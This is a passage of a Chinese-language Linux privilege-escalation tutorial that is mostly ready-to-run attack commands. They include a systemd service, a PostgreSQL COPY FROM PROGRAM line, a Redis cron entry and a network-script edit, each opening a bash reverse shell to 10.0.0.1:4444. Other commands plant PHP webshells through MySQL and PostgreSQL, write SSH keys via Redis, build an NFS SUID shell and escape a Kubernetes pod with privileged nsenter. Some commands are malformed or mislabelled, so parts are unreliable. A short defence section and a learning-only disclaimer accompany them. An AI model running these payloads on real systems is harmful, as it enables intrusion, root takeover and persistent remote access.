cat > /tmp/group_privesc.sh <<'EOF'
#!/bin/bash

echo "[*] Collecting group information..."
groups > /tmp/my_groups
echo "[*] Current groups: $(cat /tmp/my_groups)"

echo "[*] Checking for high-privilege groups..."
HIGH_GROUPS="root wheel sudo admin shadow docker"

for group in $HIGH_GROUPS; do
if grep -q "$group" /tmp/my_groups; then
echo "[+] Found high-privilege group: $group"
fi
done

echo "[*] Searching for group-writable files..."
find / -type f -perm -g+w 2>/dev/null > /tmp/group_writable_files
cat /tmp/group_writable_files

echo "[*] Checking for SGID files..."
find / -type f -perm -g+s 2>/dev/null > /tmp/sgid_files
cat /tmp/sgid_files

if grep -q shadow /tmp/my_groups; then
echo "[*] Can read /etc/shadow!"
cat /etc/shadow | head -3
fi

if grep -q -E "sudo|wheel" /tmp/my_groups; then
echo "[*] Trying sudo access..."
sudo -l 2>/dev/null
fi

if grep -q docker /tmp/my_groups; then
echo "[*] Found docker group - use Docker privesc methods"
fi

echo "[*] Done!"
EOF

chmod +x /tmp/group_privesc.sh
/tmp/group_privesc.sh

防御措施

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 审查组成员
getent group wheel
getent group sudo
getent group shadow

# 移除不必要的组成员
sudo deluser username wheel
sudo gpasswd -d username sudo

# 设置正确的文件权限
chmod 750 /var/log
chmod 640 /var/log/*.log

# 限制组可写
find / -type f -perm -g+w -exec chmod g-w {} \;
find / -type d -perm -g+w -exec chmod g-w {} \;

# 使用 chattr 保护关键文件
chattr +i /etc/passwd
chattr +i /etc/shadow

服务与网络提权

系统服务和网络配置不当可能导致提权。包括服务配置错误、未授权的网络访问、服务重启漏洞、数据库提权等。

服务重启劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 查找可重启的服务
systemctl list-units --type=service
service --status-all

# 查看服务配置
systemctl cat <service_name>

# 如果可以修改服务配置
cat > /tmp/malicious.service <<'EOF'
[Unit]
Description=Malicious Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
Restart=always

[Install]
WantedBy=multi-user.target
EOF

# 复制到系统目录
cp /tmp/malicious.service /etc/systemd/system/
systemctl daemon-reload
systemctl enable malicious
systemctl start malicious

数据库提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# MySQL 提权
mysql -u root -p

# 方法1: 创建 shell
SELECT * FROM information_schema.tables INTO OUTFILE '/tmp/shell.php'
LINES TERMINATED BY '<?php system($_GET[cmd]); ?>';

# 方法2: UDF 提权
SELECT * FROM mysql.func;
SELECT do_system('chmod 4755 /tmp/rootbash');

# PostgreSQL 提权
psql -U postgres

# COPY 命令
COPY (SELECT '<?php system($_GET[cmd]); ?>') TO '/tmp/shell.php';

# 执行命令
COPY program FROM PROGRAM '/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

Redis 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 连接 Redis
redis-cli -h target

# 检查配置
CONFIG GET dir

# 方法1: 写入 SSH 公钥
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET x "\n\n\n ssh-rsa AAAA... \n\n\n"
SAVE

# 方法2: 写入 cron
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET x "\n\n* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n\n"
SAVE

NFS Exportfs 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 检查 NFS 导出
showmount -e target

# 挂载共享
mkdir /tmp/nfs
mount -t nfs target:/export /tmp/nfs

# 检查是否为 no_root_squash
mount | grep nfs

# 创建 SUID 文件
cp /bin/bash /tmp/nfs/rootbash
chmod 4755 /tmp/nfs/rootbash
# 在目标上执行 /export/rootbash -p

网络服务监听

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 检查监听端口
netstat -tlnp
ss -tlnp
lsof -iTCP -sTCP:LISTEN -nP

# 检查未授权监听
ss -tlnp | grep -v "127.0.0.1"

# 如果发现本地服务监听
curl http://localhost:8080
telnet localhost 25

# 通过本地端口转发攻击
ssh -L 3306:localhost:3306 user@target
# 然后连接本地 3306
mysql -h 127.0.0.1 -P 3306 -u root -p

Samba 提权

1
2
3
4
5
6
7
8
9
10
11
# 扫描 Samba 共享
smbclient -L target

# 匿名登录
smbclient //target/share

# 下载文件
smbget -R smb://target/share

# 上传文件
smbclient //target/share -c "put shell.php"

网络配置劫持

1
2
3
4
5
6
7
8
9
10
# 查看网络配置
ip route
ip addr
cat /etc/network/interfaces
cat /etc/sysconfig/network-scripts/ifcfg-*

# 如果可写网络脚本
echo "* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" >> /etc/network/interfaces
# 或修改路由规则
ip route add default via 10.0.0.1

Docker Registry 提权

1
2
3
4
5
6
7
8
9
# 检查 Docker registry
curl http://target:5000/v2/_catalog
curl http://target:5000/v2/<image>/tags/list

# 下载镜像
docker pull target:5000/<image>

# 检查镜像内容
docker run -it --rm target:5000/<image> /bin/bash

Kubernetes 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 检查 K8s 权限
kubectl auth can-i --list
kubectl get pods
kubectl get secrets

# 如果有 cluster-admin 权限
kubectl run -it --rm shell --image=alpine --restart=Never -- sh
# 在容器内挂载宿主机
kubectl run -it --rm shell --image=alpine --overrides='
{
"spec": {
"hostPID": true,
"containers": [{
"name": "shell",
"image": "alpine",
"command": ["nsenter", "-t", "1", "-m", "-u", "-n", "-i", "--", "sh"],
"securityContext": {
"privileged": true
}
}]
}
}' -- sh

常用提权辅助工具

LinPEAS

Linux Privilege Escalation Awesome Script(LinPEAS)是最全面的提权检查脚本之一,能够自动扫描系统中的潜在提权点。

1
2
3
4
5
6
7
8
9
# 下载并运行
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64

# 或使用 curl
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64 -o linpeas
chmod +x linpeas
./linpeas

Linux Exploit Suggester

自动检测内核版本并建议可能存在的漏洞利用程序。

1
2
3
4
5
6
7
8
9
# 下载
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh

# 运行
./linux-exploit-suggester.sh

# 指定内核版本
./linux-exploit-suggester.sh -k 4.4.0-31-generic

GTFOBins

查询 Unix 二进制文件如何被用于绕过安全限制的在线数据库。

1
2
git clone https://github.com/GTFOBins/GTFOBins.github.io.git
cd GTFOBins.github.io

pspy

无需 root 权限监控进程和命令执行的工具,对于发现定时任务和后台进程非常有用。

1
2
3
4
5
6
# 下载 pspy(根据架构选择)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64

# 运行监控
./pspy64

LinEnum

另一个常用的 Linux 提权枚举脚本,适合快速扫描。

1
2
3
4
5
6
# 下载
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh

# 运行
./LinEnum.sh

Sherlock

Python 编写的提权扫描工具,适合在已有 Python 环境的系统上使用。

1
2
3
4
5
# 下载
wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/sherlock.py

# 运行
python2 sherlock.py

使用建议

  1. 按顺序使用:建议先运行 LinPEAS 或 LinEnum 进行全面扫描
  2. 关注结果:重点查看红色标记的项目
  3. 结合手动:工具只是辅助,还需要手动验证和利用
  4. 保持更新:这些工具更新频繁,定期获取最新版本

免责声明:本文内容仅供学习和研究目的,请勿用于非法用途。所有实验请在授权环境中进行。